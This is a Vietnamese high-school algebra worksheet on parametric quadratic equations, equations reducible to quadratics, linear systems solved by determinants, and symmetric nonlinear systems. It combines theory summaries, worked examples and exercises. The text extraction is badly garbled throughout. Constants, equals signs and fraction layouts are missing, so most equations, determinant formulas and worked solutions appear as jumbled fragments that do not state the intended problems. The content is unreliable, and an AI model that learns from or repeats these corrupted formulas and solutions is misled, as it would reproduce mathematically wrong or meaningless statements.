a) CMR phương trình cx2 +bx + a = có nghiệm dương phân biệt x3 ; x4. b) CMR x1 + x2 + x3 + x4
Bài 13: Cho phương trình (m +2)x2 -2(4m – 1)x -2m + 5=0
a) Định m để phương trình có nghiệm kép Tính nghiệm kép
b) Tìm hệ thức độc lập m nghiệm suy nghiệm câu a
Bài 14: Cho số x1; x2 thỏa hệ (x1+ x2) - x1 x2 =
m x1x2 – (x1+ x2) = 2m + (Với m 2)
a) lập phương trình có nghiệm x1; x2 b) Định m để phương trình có nghiệm
c) Định m để phương trình có nghiệm phân biệt cạnh tam giác vng có cạnh huyền = 2
Bài 15: Cho phương trình x2 +b1x + c1 = vaø x2 +b2x + c2 = thoûa b1b2
2(c1 + c2 )
Chứng minh phương trình có nghiệm
Bài 16: Cho phương trình x2 – 2(m – 1)x + m2 – 3m + = 0 a) Định m để phương trình có nghiệm thỏa x12 + x22 = 20 b) Định m để phương trình có nghiệm kép Tính nghiệm kép c) Tìm hệ thức độc lập nghiệm Suy giá trị nghiệm kép
§3: MỘT SỐ PHƯƠNG TRÌNH QUY VỀ PHƯƠNG TRÌNH BẬC NHẤT HOẶC BẬC HAI
A.TÓM TẮT LÝ THUYẾT:
(14)1/ Phương trình dạng: ax + b = cx + d
Caùch 1:
d) (cx b ax
d cx b ax pt
Cách 2: ax + b = {cx + d{ (ax + b)2 = (cx + d)2 2/ Giải biện luận phương trình chứa ẩn mẫu thức
Phương pháp:
Đặt điều kiện để mẫu thức khác
Quy đồng mẫu thức Giải biện luận phương trình thu 3/ Giải phương trình phương pháp đặt ẩn số phụ
Phương pháp:
Biến đổi biểu thức có phương trình, đặt ẩn số phụ để chuyển phương trình cho phương trình bâc hai
B: ví dụ :
Ví du 1: Giải biện luận phương trình
1
x m mx
Điều kiện: x -2
Với điều kiện phương trình mx-m+1 = 3x +
(m-3)x = m+5 (1)
Biện luận:
m (1)
3 m
5 m
x
m + -2m + -2m + m
3 1
m = (1) 0x = : Phương trình vô nghiệm
Kết luaän:
m = m = 31 : Phương trình vơ nghiệm
m m 13 : Phương trình có nghiệm
3
m m x Ví dụ : Giải phương trình 2x x2 6x2 12x
(1)
Giải: Đặt t = 6x212x70 t2 = 6x2 - 12x +
6 t x
2x Lúc (1) t
6 t
-t2 + 6t + =
2
7
7 12
2 x x
x
x
(loại) t
6x
t
C: BAØI TẬP:
Bài 1: Giải biện luận phương trình
a) mx - x + 1 = x + 2 b) mx + 2x - 1 = x
c) mx - 1 = d) 3x + m = 2x - 2m Bài 2: Tìm giá trị tham số m cho phương trình mx-2=x+4
có nghiệm
Bài 3: Giải biện luận phương trình (m, a k tham số)
a)
2a x
1 x
a
b) x 1
3 m mx
c)
3 x
k x x
k 3x
d)
1
x m x
+
x 2 x
=
e)
x m x
+
m x
x
= f ) 1 x
x m
+ x m
x
= 2(x m) 22 2
m x
Bài 4:Giải phương trình
(15)a) x2 x x
b) x26x92x1
Bài 5: Giải biện luận phương trình
a) (mx1) x 10 b) a
2 x
1 2a
Bài 6:Giải phương trình (bằng cách đặt aån phuï) a) 4x2 - 12x - 5 4x2 12x 11 0
b) x2 + 4x -
x + 2 + =
c) 4x2 +
x 2x x
1
2
d) x2 – x + x2 x 9
=3 e) x2 + 2 x2 3x 11
=3x + f) x2 +3 x - 10 + 3 x(x 3)
=
Câu 7: Định tham số để phương trình a)
1
x m x
= 1
x x
có nghiệm d)
m x
x
2
+
x x
= vô nghiệm
§4:HỆ PHƯƠNG TRÌNH BẬC NHẤT HAI ẨN
A TÓM TẮT LÝ THUYẾT
I) Định nghóa: Hệ phương trình bậc hai ẩn hệ có dạng: ax + by = c
a'x + b'y = c'
Với a2 + b2
0, a’2 + b’2
Tính ab'-a'b b'
a' b a
D ; cb'-c'b
b' c'
b c
Dx ; Dy a'a c'c ac'-a'c
D : Hệ có nghiệm (x; y) với
D D y
D D x
y x
D = vaø
0 D
0 D
y x
: Hệ vô nghiệm
D = Dx = Dy = : Hệ có vơ số nghiệm (x; y) tính theo cơng thức
R y a
c by x
(a 0)
b c ax y
R x
(nếu b 0)
II ) Phương pháp giả hệ phương trìnhbậc ba ẩn :
Dạng
1 1
2 2
3 3
a x b y c z d a x b y c z d a x b y c z d
Choïn phương trình, biểu diễn ẩn theo hai ẩn lại
Thế ẩn vao hai phương trình cịn lại ta hệ hai phương trình bậc hai ẩn Giải hệ tìm giá trị hai
ẩn từ tìm đươc giá trị ẩn cịn lại
B CÁC VÍ DỤ :
Ví dụ1: Giải biện luận hệ phương trình sau:
(16) m y mx my x Giaûi 1) 1)(m (m m 1 m m D 1) (m m m
Dx
m m m
Dy
Biện luận:
1) D m2 - m 1
1 m 1 1) 1)(m (m 1) (m D D x x m 1) 1)(m (m m D D y y
Heä nghieäm nhaát : 1 1 m m ;
2) D = m = -1 V m =
m = D = Dx = -2 : Hệ vô nghiệm
m = -1 D = Dx = Dy = hệ trở thành
x y R x y x y x y x
Kết luận: m : Hệ có nghiệm 1 1 m m ;
m = : Hệ vô nghiệm
m = -1 : Hệ có vô số nghiệm (x, y) có daïng
x y R x
Ví dụ2: Định m để hệ phương trình sau có vơ số nghiệm
m 2y 6)x (m m my 4x Giaûi: m m D
= -m2 - 6m - = m = -2 vaø m = -4
2 m m m DX
= -m2 - m + = m =1 vaø m =
m m m Dy
= =m2 - 11m - 18 = m = -2 m =
Hệ phương trình có vô số nghiệm D = Dx = Dy =0 m = -2 Ví dụ 3: Giải hệ phương trình sau
(3) x z (2) 26 2z 3y (1) 28 y 2x
(3) z = + x
Thế vào (2) 3y + 2z = 3y + 2(x + 4) = 26 2x + 3y = 18 (4)
(1) (4)
(17)(3) z = x + = 41 33
Vậy nghiệm hệ phương trình (x; y; z) = 41 33; ;
C BÀI TẬP:
Bài 1: Bằng định thức giải hệ phương trình a) 9y 7x 4y 5x b) y x 2 y x
Bài 2: Giải biện luận hệ phương trình sau: a) 2m 3my mx my x b) m 1)y (m 2x 4m y mx c) 2)y (3a 1)x (a 4)y (a 2)x (a
d) mx y m 1
x my 2
Bài 3: Tìm m, a, b cho hệ phương trình sau có vô số nghiệm a) m -1 my x 2m y mx b) m 2y 6)x (m m my 4x c) b ay bx a by ax d) b a)y (1 bx a by 1)x (a
Bài 4: Tìm m, a, b sau cho hệ phương trình sau vô nghiệm
a) by 6x y ax b) 2m 3my mx my x c) m 1 2m x y 1 m m 1 x y
Bài 5: Cho hệ phương trình : mx 4y m 2
x my m
a) Giải biện luận
b) Định m Z để hệ có nghiệm nghiệm nguyên
Bài 6: Cho hệ (m+1) x - 2y = m - 12 2 m x - y = m + 2m
a) Giaûi biện luận hệ phương trình
b)Tìm tất giá trị nguyên m để hệ có nghiệm nghiệm nguyên
Bài : Định m nguyên để hệ có nghiệm nguyên
2m m y x m m 2y 1)x (m 2
Bài 8:: Cho hệ
2x y 3m 3
x +2y = -m
a)Giaûi hệ phương trình
b) Tìm tất giá trị m để x2 + y2 đạt giá trị nhỏ nhất
Bài : Cho hệ
2y x 10m 5
x +y = 5 2
Với giá trị m tích nghiệm x.y đạt giá trị lớn
a) m = b) m = c) m = -1
8 d) Kết khác
Bài 10: Giải
(18)a)
28
3 3 100
4 5z 107
x y z
5x y z
2x y b) 2 2 5 5 4z 8 x-3y z -2x y z
3x-7y c) 2 2 8 z 5 -x+5y z 2x-9y z 3x-4y
§5:HỆ PHƯƠNG TRÌNH BẬC HAI ẨN A TÓM TẮT LÝ THUYẾT :
CÁC DẠNG THƯỜNG GẶP Dạng :
(2) 0 F Ey Dx Cxy By Ax (1) c by ax 2
Phương pháp: - Tínhx theo y (y theo x)
- Thế vào (2) để phương trình bậc 2) theo ẩn
Dạng 2 : Hệ đối xứng hai ẩn loại
Là hệ có tính chất: Khi thay x y phương trình hệ khơng thay đổi
Phương pháp: Đặt x + y = S, xy = P
Đưa hệ phương trình hệ ẩn S, P x, y nghiệm X2 - SX + P =
Chú ý : điều kiện hệ có nghiệm: S2 - 4P
Dạng 3: Hệ đối xứng hai ẩn loại 2
Là hệ phương trình có tính chất thay x y phương trình hệ biến thành phương trình
Phương pháp: - Trừ hai vế phương trình
- Dùng phương pháp để giải hệ
B: CÁC VÍ DỤ :
Ví dụ :Giải hệ phương trình
5(2) 2xy 2y x (1) 5 2y x 2 Giaûi
(1) x = - 2y
(I) 10 30y 10y 2y -5 x 2y)y 2(5 2y 2y) (5 2y x 2 y x V y x y vaø y 2y x
Vậy nghiệm hệ phương trình (3, 1); (1, 2)
Ví dụ 2: Giải hệ phương trình:
y x xy y xy
x2
Giaûi:
Đặt S = x + y, P = xy Hệ phương trình
S P S S P S P S P S P 2P
S2 2
(19) P S V P -3 S S s P S V S TH1: P S
x, y nghiệm phương trình: X2 + 3X + =
= - 20 < : Vô nghiệm
TH2: P S
x, y phương trình X2 - 2X = X X
Nghieäm heä phương trình (0, 2) hay (2, 0)
Ví dụ 3:Giải hệ phương trình
x 2y y y 2x x 2 (I) y 2x x y) (x y) 2(x y x 2 y 2x x 1) y y)(x (x y 2x x y x
2 V
y 2x x y x
* (II)
3x x y x y x V y x
* (II)
x 2x x x y x y x x2 x 1 y 2 5 1 x 2 5 1 2 5 1 1 y 2 5 1 x V 2 5 1 y 2 5 1 x
Kết luận hệ phương trình có nghiệm (0, 0) (3, 3) , ,
C BÀI TẬP :
Bài 1: Giải hệ phương trình a) 164 y x y x 2 b) y 2x y 5xy
x2
c) 2y 2x x y y 2x 2 d) 3y x 6xy 3x 9y 4x Bài 2: Giải hệ phương trình
a) 2
11 30
x y xy y y x x
b) 30
35
x y y x x x y y
c) 2
4 28 xy y x d) 2 7 2 5 2
(20)e) 2
2 4
x y xy xy y x
f) 2
3 1
x y xy xy y x
g) 2
3
6
xy x y
x y xy y x
h) 2
2 164 x y y x
i) 2
1 1 2
4
( ) ( )
x x y y y
x y y x
j) 3
1 61 x y y x
k) 3
2 2
( )
xy x y y x l) 5 13 6 x y x y y x
m) 2
6
2( 2)
x y xy y x
n) 2
5 6
x y xy y y x x
o) 2
1 1 18
65
(x )(y ) y x p) 2 2 13 3 3 3 1 xy y x xy y x q) 2 2 xy y x xy y x r) 2 2 xy y x xy y x ) ( s) y xy x y xy
x2
t) 160 2 y x xy y x ) (
Bài 3: Giải hệ phương trình a)
2
2x +xy= 3x 2y + xy= 3y
b) 2 x -2x=y y -2y=x c) 2 2
x -2y = 2x + y y -2x =2y + x
d) 2
x = 3x+2y y =3y+2y
Bài 4: Giải biện luận hệ phương trình
m xy y x
Bài 5: Cho hệ phương trình 2
4 x y m y x
a) Giải hệ m =10 b) Giải biện luận
Bài 6: Cho hệ x y xy m 1
(x y)xy m
a) Giải hệ m =2 b) Định m để hệ có nghiệm
Bài 7: Cho hệ phương trình 2 2
1
2
(21)a) Giải hệ m = b) Định m để hệ có nghiệm
Bài 8: Cho hệ phương trình 2
x y xy m m y x
a) Giải hệ m =5 b) Giải biện luận
Bài 9: Cho hệ phương trình
2 2
4 2 1
( )
( ) x y
m y
x
* Giải hệ m =10 * Giải biện luaän
Bài 10 : Định m để hệ phương trình sau có nghiệm
mx 4x x y
my 4y y x
2
2